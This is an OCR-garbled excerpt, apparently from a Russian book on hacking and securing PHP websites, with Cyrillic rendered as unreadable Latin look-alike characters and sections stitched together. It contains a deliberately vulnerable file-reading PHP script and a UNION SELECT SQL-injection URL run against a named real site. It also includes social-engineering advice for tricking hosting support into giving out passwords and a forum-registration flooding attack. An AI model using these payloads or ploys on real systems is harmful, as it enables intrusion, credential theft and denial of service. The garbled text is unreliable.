pylowero Ha6opa K nposepseM, 4To0b1 MA NONB30BATENA U Naposb 3 3TOH cTpo-
kM BBUTH PABHLI MMeHH TONLIOBATENA Y AapONio, MePeNaHHbIM FOAL3OBATENEM.
Ora nposepka npoucxoauT cpeacteamu PHP, i TyT yrke CHMBOSTE! NOR4EPKUBAHNS
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Jo nomxmouenns Qaiina ¢ ONUMAMK nepeMewsbte $dbname, $dbusernaré
H $dbpass He CYINECTBYIOT, MOITOMY P OGPAalueHHH K HHM Mbi YBHECTM COOT-
BeTcTByowMe coobwenus. IMocne NORKIOUEHHS OWMGOK yKe HET K BCe mepe-
MEHHBIE KOPPEKTHO JaTOJTHEHE!,

Eciiu eCTh BOBMOXHOCTB, TO KOHGUTYpauMoHHEIE (atinks Mydile BbIHECTH 32 mpe-
AenbY KOPHA ANPEKTOPHH, AOCTYNHOM Hepes Web. Hanpumep, eciin kopeHb Batiie-
ro Web-caiita Ha pucke /home/isername/www/himl, TO A0CTATOUHO TOACKUTH
daiin 8 aupekTopuio /homefusername/www/, K XaKep yxe He CMOXKET HATIPAMYIO
oBpatuTbes K HeMy. Ho eciu Bb1 IONB3YETECh YCayraMH CTOPOHHETo mpoBainepa,
TO CAEAYET YUECTh, UTO He KXbii HAaeT NOCTYN K DUPEKTOPHAM BHE kopHa Web-
cafita. Quens wacTo shiine yposua /home/username/www/html Bor nogHaTbca He
cMOsKeTe,

Pacinupenue .php nomkHo GbiTh He TONBKO Y KoHDUrypauvoHsux ¢aiinos. ITpo-
MEXYTOUHEIE (aiink1, KoTophte Mbf SyneM paccMaTpurath aanee (cu. pasd. 3.5.2),
TaKXKe OMKHBI MeTh Takoe paciumpenyie. JTioGok daiin, koTopsili conepxHT kox,
UM OGBABNEHYA TIBPEMEHHEIX, NONKEH GbITh 3alUHILESH H 3BKPHIT OT NIPOCMOTPA.

Hanpumep, ans noaxniovaeMbix Gpainos ¢ KOI0OM, KOTOPHIE He BbiILBAIOTCA NOMb-
30BaTeNeM HAMpPAMYIO, 4 TONbKO MCTIONBIYIOTCA ADYTHMM CUEHAPHAMH, NIPOTpaM-
MMCTBI OYEHB 4acTo BLHIGKPAOT pacwupenun .dat Wnu .inc. 310 cepresHas ownb-
Ka, MOTOMY 4To TpH ApamoM ofipawenyn comepxumoe gaiina Gyner OTKPLITO
xakepy. Ecnin pacuinpenine Gyner .php, TO KO cueHApHs HHKOTAA HE OTKPOETCA
XAKEPY, 4TO 3HAUMTELHO YCHOKHUT FIOHCK OLIMGOK.

3.5.2. MpomexyToUHblie MOAYNN

IlexoTopble hyHKLKH HCTIONB3YIOTCS B HECKONBKUX CLIEHAPHAX, FIOSTOMY MX OUEHb
HACTO BLIHOCAT B OTAC/LHBIE MOAYNH U TIOTOM FIOAKAIOHAIOT TOYHO Tak XKe, KAk
# KoHbwrypanyornsie aitnsr. Otnvuve 37X Gaiiios B TOM, 4TO OHH COACPIKAT HE
1IPOCTO OGBABICHHE MEPEMEHHBIX, a KO, KOTOPHIH BeINONHAeTCA Web-cepsepom.

JlapajiTe paccMOTPHM KNACCHUECKYIO 3anauy COTAHMA YHMBEPCATILHOTO KOA2
clieHapHs, KOTOPBI MOXeT Qopmuposate Web-cTpanutty ¢ pasHbiM ofopmiesu-
ev. OcHOBHAA 3afaya HAMWCATh CUEHAPHIT TaK, YTOGB! U1 CMeHBI OOPMICHUA
UPUXOAMNOCH BLIMONHKTL MHUH¥MYM ycunwid. Jlapalite pajofeem cueHapuii Ha
HECKOMBKO YacTed. Jna Hayana NOCMOTPHM Ha KOH(HUIYPalHOHHbIH dakin:
$pagetop = './template/top.hem';
4pagebottom = ‘. /template/bottom.htm';
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</HEAD>

<BODY>

<center><h3>Injection test</h3></center>
<hr>

<form name="syst" actions"filel.php" method="get">
Command: <input name="command® size=50>

<input type="submit" value="Find*>

</ form>

<hr>

<?
if (isset(S_GET['command']))

{
if (sarr=file($.GET('command']))

{

for ($i=0; $i<count($arr); $i++)

(
printf{"<BR>¥s", Sarr($i)):

</BODY>
</HTML>

TtapameTp, vepes koTopeidi NepenaeTca uMa daiina, HUKAK He TIPOBEPSETCA Ha f0-
MYCTUMbIE CUMBONBI, 8 3HAYKT, XAKEP CMOKET NpocMoTpers noboli daiin, Ha yTe-
HWE KOTOPOro y Hero XsaTuT npae aoctyna. [1pocMaTpusas KOHGHTYpaLMOHHEE!
aiinbl, xakep MOMET HaliTW BaxHbIE AAHHBIC, @ BOIMOXHO M MApONM AOCTYNE
K Web-cepeepy (cm. 22. 3). Owubxa oueHb Moxoxa Ha mpobaemy include;
(eM. pazo. 3.1.2), pasHMuA TOAbKO B TOM, YTO B JaHHOM Cny4ae Bbl MOXETE'
TONBKO APOCMOTPETHh (aiinbl, HO koA B HUX He GyaeT BLIMOAHATLCA, KAK OPH
TIOAKNIOYEHHY.

HekoTopeie NpOrpaMMUCTbl MPEANOUATAIOT HCAONBL30BAT BMECTO include OPoO-
cToe uTenue Qaiinos. Cornacen u nopaepxusalo 310 pewenne. Ecny dakin ve co-
nepxuut PHP-xona, a tonsko HTML, To ero siyuuie npountats W oToGpa’uth
Ha Web-cTpanuue. Takum obpasom, naxe ecn bl 380yneTe rie-ra HpoBepHUTh
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»
W MPOLIEHTA HE HMEIOT HMKAKAX CTIeLMaNbHBIX 3HAYSHUH, 2 3HAUMT, IIYTKA XaKepa

He mpoiaeT.
Eciik B Balilell CHCTEME HMs MONB3OBATEN HE YHHKA/IBHO, W TIOA ORHUM MMeHeM

MOXKET GbiTh HECKOAIBKO [0/B30BATENSH C PasHBIMM MaPOJISMK, TO TIPOREPKY HE-
o6X0AMMO NenaTh, KaK IIOKa3aHo B MCTUHTe 5.3.

// TioMCK Nose30BaTeNA CPeOCTBaMy 3anpoca K 0ase DaHHWX
$result=mysql_query("SELECT * FROM users
WHERE username LIKE 'Susernmame' ");

// ECim4 pesynbTarT COREPWAT XOTA OW OBHY CTPOKY, TO...
if (mysql num rows($result)>0}

{

// TiepeSupaem BCe 3amMCK B PeIy/eTUYOmIEM HAGOPE.
while ($userrec = mysql_fetch_array($result))

¢ .

/7 TipoBepseM nomb3oBaTeA elie pas CpeACTmans! PHP

if ((suserrec[username] == $Susername)

and (Suserrec(password]) == Spassword)
// TomwaopaTent 3aperncTPMPOBaN
break;

3pech yxe NPOMCXOAMT Mepe6op Beex 3amucedt B pesyabTupyioueM wabope
¥ NPoBepKa HMEHH K naposia ¢ nomowwsio PHP. Ecan pesynbrat xoTa 6u1 ogno#
TIPOBEPKH MOATBEPAXTCS, TO NonkL3osarend GyneT asTopusosan. Habul caenatl
3anpoc kHTepecHee, u3 6a3bl 1aHHLIX BLIGHPAEM 3aNMCH TOILKO IO WMeHH 1 GBS
napons.

Yrtobbi He b0 HikakuX nPobicM, MOAKHO Le HEMHORO YNPOCTHTD cebe Hu3HbL —
JATIPETHTL HCFONIB30BAHHE CHMBONA TIOAYEPKYMBAHMA 1 nipouenTa. Moxuo npocro
BLIPE3ATh ITH CHMBOIbI C TIOMOLILBIO PETY/ISAPHBIX BHIPAKEHUH.
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TO OH NOHAET KPYWHTL BCe Web-caiiTbl noApAR — HaZxo ke rae-ro nonpobopats
noMyHeHHbIe 3HaHKA. IMEeHHO TakHe H0AM NPeCTaBAAIOT HanGOTbUIYIO ONacHOCTb.

Ha topyme no GesonacHocti www.securitylab.ru scrpeyatores i npodeccuoHa-
fibl, KOTOpBIE He 0cO50 "rHYT Naiblibl", @ MOKA3BIBAIOT M OGBACHSIOT, KAK 3allH-
TUTLCS. BO3MOXKHO, OHM H CaMit TOMAIOT HTO-TO, HO He MOKA3LIBAIOT 3Toro. 5 Ay-
Malo, UTo Ha (opyMe eCThb M TPeACTZBMTENM NPABOOXPAHUTENLHEIX OPraHoB,
H €C/IM NOKA OHM HWKOTO TaM He BBITZBMBAIOT (2 CAeAaTh ITO OucHb NErKko), To
B GyzylieM MOTYT MOfABUTLCA npeuesieHTbl. JIKGHO 5 B OCHOBHOM HAXOXYCh Tam
kak Habmoaarenb (OTCNEKHMBAIO TEHASHUMAY, 2 €C/TH M OCTAB/sI0 cOGOWEHHs, TO
HE MOk CBOUM HMEHEM,

OumGky B NporpaMmax NPOABNAIOTCH JOCTATOMHO HACTO, HO €CITH 3aUIMTA Cephe-
pa, KOTOpBIii Bbl PELIAAKM B3NOM2Th, B JAHHBIN MOMEHT GiM3Ka K COBEPUICHCTBY
(MHHHMYM CITyG, ¥ YCTaHOBMeHbl BCe noclesHWe OGHOBNEHWS), TO nNpHaeTca
KAaTh NOABNEHHA HOBBIX owuGoK U IKCIVIOHTOB K YCTZHOBJ/IEHHbIM Ha CepBEpe
cayxGam. Kak TonbKo yBHAUTE 4TO-HMGY/ZIb HHTEPECHOE, Cpasy CKauaHTe 3KCno-
MT (MM H2NMINKTE CBOI) M BOCMONb3YHTECH MM, IOKA aAMUHUCTDATOP He ycnen
32KPBITh YS3BUMOCTh, A XOPOLMI aIMUHHCTPATOP 3aKpblBaeT owkbky GricTpo,
cpa3sy nocje HX NoABJIEHHA, & €C/it €CTb BO3MOMHOCTb, TO @BTOMATH3IHPYET 3TOT
npouecc.

1.3.4. ABTOMaTU3aLUA

TlpakTHyecky Kaxablii AeHb CeUHanucThl No Ge30NacHOCTH HAXOAAT B PasHbIX
CHCTEMAX HEA0YETHI, AbIpsl WK Amke NpoGounbl B chcTeme GesonacuocTn. Bee
3TH MaTepHanb! BLIKNAAbIBAIOTCA B oT4eTax BugTraq (Gronnerens GesonacHocTu).
51 ywe coseroBat nocewars Web-caitr www.securityfocus.com, yroSel cneauts
3a HOBOCTAMH, W ¢elfYac HE OTKA3bIBAIOCH OT CBOMX cnioB. Bee HoBoe, aeHicTaM-
TEAbHO, MOXKHO HAWTH TaM, HO Belib eCTb Lie/ibl BOPOX CTapbiX YA3BHMOCTEH, KO-
TOpble CYLIECTBOBAH, U BO3MOXHO el He 3aKkpbiThl. Kak e noctynuth ¢ Humu?
Heyxenn npuaercs kadaTh BCE SKCANOMTRI U NPOBEPATH KaxAblii Ha paboTocmo-
coBHocTb? Hy, KOHEUHO e, HeT. JUTH 3TOro MCnoNe3yloTes ckanepsl Gesonacko-
cru, naubonee pacnpocTpaneHdnie us Hux: SATALN, Internet Scanner, NetSonar,
CyberCop Scanner.

HenasHo nossunace aake nporpamma oT Microsoft — Microsoft Baseline
Security Analyzer (prc. 1.2), koTOpas npoBepseT CHCTEMY Ha HANW4HE YCTaHOB-
TICHHBIX KPUTHYECkWX OGHOBJICHMUT, rOBOPAT, OHA Amke GecnnaTHas, uTo He yau-
sutensHo. flocne sarycka nporpaMwbl Ha TECTHPOBaHME OHA MONKIIOHAETER
Kk cepeepy Microsoft n cka4yuBaeT nocieAnrde MOAYAN JUIs TECTHPOBaHKA Gesonac-
HOCTH, KaK 9TO AENAI0T AHTHBMPYCHBIE NPorpammel. CaMo CKaHWpOBaHHE NPOHC-
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TonpoGyem nopobpars xonuuecTso noneli uepes obvenuHense. B pesynerare
fonyunnock Aesats noneii. Monpobyem nocMoTpeTs BepcHiO Gashl MAHHBIX, AMS
nonb3oBatens ¥ uMA Gasel ganuex, Jlin 31010 ykassisaem crepyrowmii URL:
http://www.fira.net/media/news/read.html?indexnum=388 %20limit % 200 %
20union %20select % 20null, DATABASE(), VERSION(),USER(),null,null,null,
null,null/*,

Ha puc. 5.19 MoxHo yBuzmeTs pesynsTar, [IpaMOyronbHUKaMH BEILEACHB! MONY-
HEHHEIE JaHHbIE, 2 MMeHHO: B KauecTBe OC Henombayercs know Linux (Debian),
HM# TIONb30BATENS MPH NOAKTIOMEHHH K Gase naHHbIX ira@localhost, a uMa Gasbl
JRanHbiX fira,

ozt | Bownloa:

v ) Down Gag!

s

Puc. 5.19. UHDOpMaLMA 0 NOAKNIYEHUN
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3a cBoif Web-caillT, NMULIYT OTBETHOE MHCLMD, B KOTOPOM COOGLIAIOT MXeamMH-
HUCTPATOPY, & TOUHee — XaKepy, CBOH NpaBHbHbIE NapaMeTpsl AoCTyNa.

B KauecTBe pasHOBMAHOCTH TEKOTO BIOMa MOXHO NPHBECTH KNACCHUECKMHA Ty~
yail co cAyxGoit noanepxkn. JlomycTum, uTo BaM HyxkHO B3nomath Web-cepaep
XOCTHHIOBOH KOMMAHUH, rle pacrionomeH HyxHbi BaM Web-calit. Bbl 3s0HHTE
WK THUIETE NeKTPOHHOE MHCEMO B CAYKGY MOIEPKKH KOMIAHUH C BOTIPOCOM:
"[Todemy A ¢ TaKOH-TO YHETHOH 32nUChIO He MOry 3aiiTH Ha cepeep?” Ilpu aTom
HYXHO YKasaTb NpaBHIbHBLA NOMHH (MMA) ¥ MoGoli naponb. PaGoTHHKH CTyOul
noafepikH 06a3aHbI MOMOrath, NOITOMY, YBHACB OWMOKY, OHM BBIWJIOT BaM
npaBHIBHBIA Napons.,

Ecnu BbI ucnonbsyete ama o6iieRHs co cayxGol NoMaepiKy SMeKTPOHHYIO Hoy-
Ty, TO TYT riaBHOe MOMAAENATh aAPEC NONB3OBATENA, JOCTYN K yHETHOM 3anucu
KOTOPOro BBl XOTHTE NomyudTs. Chy*ba nosepkki He npoBepseT aapec OTTipa-
BHTENS, KOTOphIA tanbcuduumpyercs ouenb nerko. Ilpocro nporokon SMTP
{Simple Mail Transfer Protocol, mpocToii npoToKon 38eKTPOHHOH nouTs!) paboTas
er €3 aBTOPM3AMWA M B KA4ECTBE OTMPABMTENA NO3BONACT YKa3bIBATh BCE, YTO
YroaHo.

JlaHHBI METOZ UCTIONb3YET XOPOLIME NCUXOAOrHYecKui NpYeM: CHa4Yana NPHBO-
JMTCA AOCTOBepHaA WHGOpMaiMs, W TOMBKO B NapaMeTpax AOCTyna 3alokeHa
ownbka. TakuM 0GpasoM 3aBOEBBLIBRETCA PacNONOKEHHe M AOBEPHE JKEPTBHI,
H BEPOATHOCTb NOAYYHTb fapolib N0CTAaTO4HO BBICOKA, €C/TH MOJIB30BATEb HE IHa~
KOM C TZKHM MPUHLKICM CDuHﬂJ’leOﬁ HHXeHepHH. 310 MOATEEPKAACT MHOMKECT=
BO 3H2MEHHUTbIX B3OMOB B 80-X I'T. NPOWUITOro CTORETUS.

3anaya xakepa — BOHTH B IOBEpHE K 3AUIMLIAIOLUEHCS CTOPOHE M y3HaTh Napoau
nocryna. JIta 9TOrO MCMOAL3YIOTCA NCHXONOrMYECKMe NpHeMbl BOINEWCTBUS Ha
nnuHocTs. Yenopeky CBONCTEEHHD! MOGONBITCTBO, A0BEPHHBOCTE H UYBCTBO CTPa-
xa. JlioGoe U3 3THX YyBCTB MOXKET CTaTh NPHUHHOH yTepH HHOpMaLKH.

Brarosaps uanuiHeMy MOBONBITCTBY MBI BEpUM NPU3BIBAM OTKPBITH NMPHKpEn-
NeHHBIi K nHcbMy Gaiinl,  CZMOCTOATENLHO 3allyCKaeM Ha CBOEM KOMMbioTepe
BHpYC. B cuy Haweld DOBEp4MBOCTH XaKepaM yAaeTCs Y3HaTh CEKPETHYHD WH-
dopmaunio. Ho caMble Cuiibible 3MOLMM BBI3bIBACT CTPax. UIMeHKO Ha cTpaxe u
GonzHu noTepu naponeii ocHoBaHa GONbIAA YaCTh aTak, ¢ MOMOLUBIO KOTOPBIX
NONBL30BATENA BBIHYNUIZIOT CKa3aTh HeOBX0AHMbIE CBEAEHH.

Eine onna cniaGocTb, KOTOpas O4EHb HACTO NPUBOAHT K NONOKHTENEHOMY PE3yilbe
THTY: XKAAHOCTb M ANYHOCTD, JIeHBIH NOPTAT MIOKEH, @ XaKepbl YMEIOT 3THM 0Nk«
40BaTheA. Hanmyuiumii pesynibTaT fOCTHraeTcs TOTA2, KOTAa Xakep HCROMbIyer
£pasy HeCKONbKO CAaGoCTel, HanpuMep, u CTPax, U MOGONBITCTBO OANOBPEMEHHO,

Eile 01MH GpHUMep M3 NHYHOH KH3HH, QAHaKIE! MHE HHCOMMIT OJHH XaKOp, MHO
HpOCTO Nekb BhiIo UCKaTh Kakue-To OIIMGKH B CleHaprax ero Web-cafiTe, i Xomenocs
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Tlpu 30HAMpOBaHMK CkaHep He OGCMEAYET NOPTHL, a4 NPOBEPAET NPOrpammbl Ha
HalH4Me B HHX YA3BUMOTO koga. DTOT npouecc noxox Ha paBoTy aHTHBMpYCa,
KOTOpbIH NPOCMATPHBAET BCE MPOrpaMMbl Ha HANMYMME COOTBETCTBYIOWETO KOfA.
CuTyaunu noxoxue, Ho HCkoMble 06BeKTH pasHble, MeToa Xopowr, HO OfHa # Ta
Ke omubia Moxer BCTPEU4ATbCA B HECKONBKHMX NporpaMMax, H ecnu KGI B H¥X
pasHbii, TO CkaHep ee He OGHAPYKHUT.

Bo Bpems MMWTAUMH cKaHep Ge30nacHOCTH MOaenHpyeT atakM W3 ceoeit Gasbl
manHbix. Hanpumep, 8 FTP-cepsepe MoKeT BOIHMKHYTL mepenonineHue Gydepa
npH peanu3aMy onpeseneHHoNn komanabl. CraHep He CyieT BLIABNATL BEpCHIO
cepeepa, a2 nonpofyeT BLINOMHUTL HHCTPYKUMIO. KOHeYHO Xe, 3TO npuBeeT
K 3aBHCZHHIO, HO BBl TOUHO GyAeTe 3HaTh O HANMYAK MIH OTCYTCTBMM OWMGKH
Ha HeM.

Hmutatins — cambiil JoNCKit, HO HapekHbIH cNOCOG, AOTOMY 4TO ecv TakuM o6-
Pa3oM YAaIoChk B3OMaTh KakKylo-THGo ciyxGy, To M y Xakepa 310 nomyuntcs. Ipu
ycranoske HoBoro FTP-cepaepa, koTopelii elue He u3BecTeH ckaHepaM GesonacHo-
cTH, oH Gymer onpoGoBaH Ha ye W3BecTHble oGk aApyrux cepaepos. OueHnb
42CTO NPOrPaMMHCTEI Pa3HBIX (PHUPM AOMYCKRIOT OAHH W Te Ke oKUK, npH IToM
METOAEe CKaHUPOBAHNS AHANU3ATOP MOXKET He HalTi NONOGHYIO YH3BHMOCTD TOMb-
KO (IOTOMY, 4TO 15l A2HHOMN BepcHM HET 3anuceit B Gase DaHHBIX.

Koraa nposepsete cucremy, o6a3aTensHO OTKIKO4aiTe cetesble skpaHbl. Ecau
GroKHpOBAH AOCTYN, TO CkaHep GE30NaCHOCTH He CMOXET NPOTECTHPOBATL HYX-
Hy1o cyiGy. B 3ToM ciyuae OH COOGUIMT, 4TO OLMBOK HET, HO PeanbHO OHH MO-
ryT Bbith. KOHEHHO e, 3TO He KpUTHUHBIE OLIMGKM, HO eCTM Xakep HalgeT no-
TalHOM XOA M O6OIAET CETEBOH KPaH, TO YA3BUMOCTb CTAHET ONACHOM.

Jlatite ckanepy 6e30macHoCTH BCe HeOOXOAMMble NPaBa U JOCTYN K CKaHHpyeMokH
cucteme. Hanpumep, HekoTophie cnTalOT, 4TO HauGonee 3¢iekTHBHO yaaneHHoe
CKaHWPOBaHWe, KOT/Aa MO CETH MMUTHPYSTCA aTaka. 3TO NPaBHABHO, HO, CKOMBKO
BPEMEHH NOHAZOOBHTCA Ha MPOBEPKY CTOMKOCTH naponieil ATA Y4eTHbIX 3anuceii?
Quenb MHOrO! A ckanupoBanue peecTpa ¥ (HaOBOIH CHCTEMbI CTAHET HEBOZMOXK-
HbiM. T1o3ToMy ROkabHbIH KOHTPOTL MOXKET aTh GoNee KayecTReHHbIN pesynbTar.

TIpH AMCTAHUHORHOM CKAHHPOBAHMH TOJLKO MPOH3BOAHTCA MOMBITKA POPBATLCS
B ceTh. Takoil aHanyu3 MOXET yka3aTh Ha CTOHKOCTb 3allMThI OT HANALEHNA H3BHE.
Ho no cTatneTHke GONBIIMHCTEO B3OMOB MPOUCXOZHT HIHYTPH, KONAA 3aperucT-
PUPOBaHHLIH NO/LIOBATEND NOAHUMAET CBOH NPaBa U TEM CaMbIM NOMYYaeT ZOC-
Tyn K 3anpeuwedHoll HHpopMauuu. Xakep TOXE MOXET WMETh KaKylO-HHUGYMb
YHETHYIO 3ANUCh ¢ MUHHMANbHbIM CTATYCOM H BOCHONLIOBATHLCA YAIBUMOCTAMM
2NA ToBLIUIEHHA TIpas nocTyna. IMosTomy ckanMpOBaHME AOMKHO MPOMCXOAUTH
W AWCTAHLMORHO [T OGHaPY)XEHHA NOTalHBIX ABEPEf, 1 JOKATBHO [UTH BRIARNEHUS
OWHMGOK B KOH(UIYPALIMH, C NOMOLLBIO KOTOPhIX MOXHO H3MEHHTb NPHBUACTHH,
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BIIOM £ HE CTaJ1, HO W ¢ooBumTs 06 ouubke ANMUHHCTPATOPY HE CMOT NO npﬁqu-
HE OTCYTCTBHA a[PECOB 1A CBA3H.

+ Dadriig
Chon wdtarms ¢

Puc. 5.11. Web-caiir free-software-download.info

Teneps neperaem k ewe ofHomy Web-caiity www.dpesoft.com (puc. 5.13) u
pacemotpum ero. 3peck Taoke PHP-cuenapuu v napameTpsl npauytcs nop
HTML-paiins1.

lonpobyem obparurbes Kk (ainy index.php u yGesumes, uro oH cywectayer:
hitp://wwi.dpcsoft.com/index.php. Teneps nonpofyeM nepemaTs cUEHAPHIO
1anBoIIee YACTO HCTIONB3YEMbIE WMEHA NAPAMETPOR: id, cat, category, product,
productid, start, page, subcut. Jins Takoro Web-caiita nosxno yra-To nony-
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OCHOBHbIe YASBUMOCTU
Perl-cueHapves

Beiio BpeMs, kora Perl Gbin caMbIM PacTipOCTPaHEHHBIM S3bIKOM TPOrPaMMHUPO-
Banus ana Web. HMenno #a neM nvcanach 66mbiuiag vacTh CLEHApHES, a TAKKE
akcnnowToB. ECin Xakep HaXoAWd yAIBUMOCTb, TO, HCTIONE3YS €€, OH 3aKAYMBA
+a Web-cepBep aKCIIONT, KOTOpbIH HCMONE30BAN A1 NODHATAA CBOMX TPUBHACT M.
H3-32 3TOTO MHOTHME AAMMHMCTPATOPh! CTaNM OTKA3LIBATHCA OT MCIONLIOBAHMS
wiTepnpertatopa Perl B cBoux cuctemax.

Ceituac Perl Tepser cBoto momynspHOcTs. HecMoTpa Ha To, 4TO ellle HECKOMNbKO
JleT Ha3al OH MCTIONB3OBANCA NOBCEMECTHO, B HACTOALIES BPEMA paspaboTyiky
Web-caliToB 0TAAIOT NPEANOYTEHNE TaKUM A3bikaM, kak PHP, ASP u Java. Hmen-
HO 3TH TPH KHTa GyayT NpaBuThL MUpoM B Gminkaiiwee spemd, Ho Perl cGpaceisars
€O c4eToB Noka paHo. CLIEHAPHH HA HEM ele MOXKHO BCTPETUTD, XOTS UX KONUYe-
CTBO IOCTOAHHO CHHKAETCA.

Ha moii Barnsz, npoGneMa 3ech CBA3AHA CO CAOKHOCTBIO A3LIKA H B HEKOTOPBIX
cy4asx cepbeaHbiMH HeynobGcreamu. Jleno B ToM, uto Perl e cosmasasnca mis
nporpamMmuposanus moa Web, a 651 aranTuposan ang 3THX ueneit. Bozmosxso,
MMEHHO [109TOMY OH TEPAET MOMYNAPHOCT, H €T0 BBITECHSIOT A3bIKH, KOTOphie
CO31ABATHCH AMEHHO Ans Web-npoTpaMMHpoBaHis.

[ue creayeT yuecTh, HTO UeM CNOXKHEE A3bIK, TeM NpOLUE APOrPAMMHUCTY AOMYC-
THTL owubky. Ja, umenHo Tak. Koraa sssik mpocToli, nporpaMMHCT npekpacHo
[IOHHMAET KaKR0e CBOE AcHcTaME.

Ilo Bce 3TO TONBLKO MOM MBICAY, KOTOPhIE MOTYT PACXOAMTHCA C PEATBHOCTBIO,
Q Gyaywem n:060T0 A36IKA NPOTPAMMUPOBAHNA NPEANONAraTh TPYAHO, KAK TOBO-
|PMICR, BCE PACCYRUT BPEMS.
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Bo3MOXHO, €CTh ¥ KpUTHUYECKHE OIUGKH, HO JUTA HX TIOHCKA HeoGXomuM cepbea-
sbiit aHanus kona. S npoGexanca no OCHOBHBIM OWMGKAM M HHUYCTO HE HAIGH.
Bonee neraibHbI aHAIM3 NPOBOIMTE HE CTad, a BEAb OWMOKH Bo3MOXKHBEL [a,
¢$opyM mPOCT W CBOM 3aJa4l pelaeT oueHsb Xopouwo. Hampumep, on coaepxuT
HHTePECHYIO (YHKUMIO, KOTOPAs BbI3bIBACTCA B HAYA/E KAKAOrO CLCHAPHS U 1Ipo-
BepAET BCE BXO/IHLIC MapaMeTPhl HA NPEAMET ONIACHBIX AAHHBIX, BHE 3aBHCHMOCTH
OT TOro, OTKyAa OHM mputind. Ecau Bsac uuTepecyer, To 3T0 QyHKuus
cleanRequest () B ¢aiine Sources\QueryString.php.

Tlepeoe, YTO MOXKHO OTHECTH K JOCTATOMHO CEPLE3HOMY YIYIIEHHIO: OTCYTCTBHE
NONTBEPXICHHA DY perkcTpaLiy. [Tons20BaTENI0 AOCTATOUHO RBECTA MPH Peru-
CTpaLMK M4, Naponk U 1060k anpec anekTponHoH nouThl. Tax kak noxTeepxae-
HUSA PETHCTPALIMK HET, TO O I0CTOBEPHOCTH TAKOTO aApeca MOXKHO 3a6hrTh. Xakep
6e3 npobieM yKaXeT NepBble NONaBiiKeca NaHubIe, H GOPYM BOCHPUMET HX.

Creaytomas npo6neMa cHOBA KPOETCA B PErUCTPALMM: HET HHKAKOW 3ALUMTLI OT
asToMaTH3Mposanubix cuctem. [locmoTpute Ha Takne Qopymsr, kak phpBB niu
Invision Power Board. B HuX fipH peructpauuy nomMumMo HpopMaunu o cebe He-
OBXONUMO BBECTH CEKPETHDIH KO, KOTOPBIF IEHEPHPYETes CiiyuaiinbiM obpasoM.
Ecau 510T k0 He SyneT seenen unu Syner BBEEH HEBEPHO, TO PerucTpauya oT-
KNoHAETCA.

B SMF Takoro ner. Yem ato rpozut? Mer Moxem Ges mpebnem HanucaTts
HeBo/bUIyI0 NPOTPaMMKY, KOTOpas 6yaeT reHepHpoBsaTh CiiyualiHbiM MIY mocae-
HOBaTENbHbIM OGPA3IOM HMEHA NONL30BATENEH, NAPONL H AAPEC HMEKTPOHHON No4-
Th! i ABTOMATHYECKH PErHCTPUPOBATH NOJIBIOBATENA HA (OPYME, OTNPABKOH BCEro
oaHoit koMannsl. Takas nporpaMMa MHIIETCA BCEFO 3a 4aC ¢ MepephIBaMM HE KO-
e, a B pesynbTare yepes yac ee paboThl B 6ase naHHbIX Gopyma Gyner coTHa, a TO
¥ ThICAYA MYCOPHBIX 3articel o pericTpaunn. Takum ofpasom, MOXHO 3adnyanTs
Gasy 20 Takoif CTEMEHW, YTO 3AKOHHATCA BOIMOXKHEIE 3HAUCHHA AN KJIOUEBOrO
10718, ¥ HOBbIE 3ANWMCH NETANbHBIX MONb30BATeNeH NpUHUMaTLea He ByayT. Iony-
unTes croeoBpasnan aTaka orkasa ot obicaykusanus (DoS).

‘ NpuMeuanue I

KCTaty, Xo4y 3aMeTuTo, HTO NONEMy-TO 3awuTa ot (hnyaa coobwenuamm peanao-
BaHA NPaKTUMECKW Be3de, a BOT 3aluTel OT ¢ny;:la perucTpauyu B 6GONLLNKHCTES
opymos HeT. Bulbupan ana caoero Web-caiita copym, ydeauTecs, STO Npu peru-
cTpayny TpebyeTcs NOATBEPKASHME NO 3NEKTPOHHOR NONMTE Y eCTh BOIMOXHOCTL
BBOAA CEKPETHOrO x0Aa.

Yenm Gonee npocTas GOpMa perucTpaluH, TEM NPOLIE XaKEpY 3aperkcTPHPORATECA
W HCTIONL30BATL YHETHYIO 3aMHCh 1A CBOMX NakOCTeH. BBl AOMDKHE MAKCHMATBHO
YCNOKHNUTS KH3Hb B3oMlUMKa, C RpYrol CTOPOHDI, CAHLIKOM coxHan dopma
Gyzer onityrvBath 406ponopanosHsIX nons3osareneii. Hanpumep, a aukorna e Syny
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) BACKUP DATABASE;
] BACKUP LOG.

PaccMOTpUM npuMep, B KOTOpOM NoJe30BaTeNmo ¢ uMeHem Mikhail uinensiotes
TipaBa Ha cosganue Tabanu 1 obsexTos npocMotpa:

GRANT CREATE TABLE, CREATE VIEW

TO Mikhail

Jlns yopouesus paBoTht ¢ paraMi IOCTYTIA MOXHO WCII0Ib30BATE POMK. domye-
THM, YTO Y Hac €CTb ASCATH YHETHBIX 3amuceii mna paGoTHukos Gyxrarnrephu,
 Bce onu obbenuuenb 8 ofuy ponk Buh. Ecnu sce paborHuki poan Hy:KaaloTes
B BO3MOXHOCTH C031aHKA TaGANLL, TO MOXKHO Ha3HAYHTh PaspelieHne BCEH porn:
GRANT CREATE TABLE, CREATE VIEW

TO Buh

ECAH HYKHO Pa3speIlIHTh BLIOTHEHHE BCEX NEPEYHCACHHBIX BBIILE ONEPATOPOB, TO
MOXHO BOCTIO/b30BATHCA KIIIOWCBBIM COBOM ALL. Creayiommii npuMep npeno-
cTaBAseT mONHBIH aoctyn poau Buh:

GRANT ALL

TO Buh

3a Gonee nonuoit kubopMaumel coseryto ofpaTiThea k daiiay-crpaske, a TaKKe
MOTy MOpekoMeH0BaTh MoK Kuury "Transact-SQL. B noxnnHauke” (4].

IMpu aobaBnenny npas gocryna Ha OOBbeKTh HEOGXOAMMO yKasaTh onepaTop
GRANT, 38 KOTOPbIM HIET NEpeyHCTeHue paspeleHui Ha o6bekt. [Nocae kmouero-
FO CNIOBA ON fiuleM HMS 06beKTa, a NOCAE TO MUIIEM HMS TIONL30BATENS HIH pO-
ni. B ynpowenHom sapuanTe pacnpesenenie npas BHIIASAMT CASRYIOIMM obpa-
30M:

GRANT paspeumenus

o oGverT

T0 noms3oBaTENH

Hanpumep, cneayiomel komannoit Mbr paspeinaem nonssosarento Hacker seinon-
HATH OMepaTop SELECT B Tal/iMue threoples:

GRANT SELECT

ON thPeoples

TO hacker

Licay nosb30BaTenio HYXHO APEACCTABHTL BCE PABA Ha OGBEKT, To ¥TOGk! He Ne-
PCHUCIATD ¥MX, MOXCHO HANKCATH KITIOUYEBOE CAOBO ALL!

GRANT ALL

ON tbPeoples

10 Buh
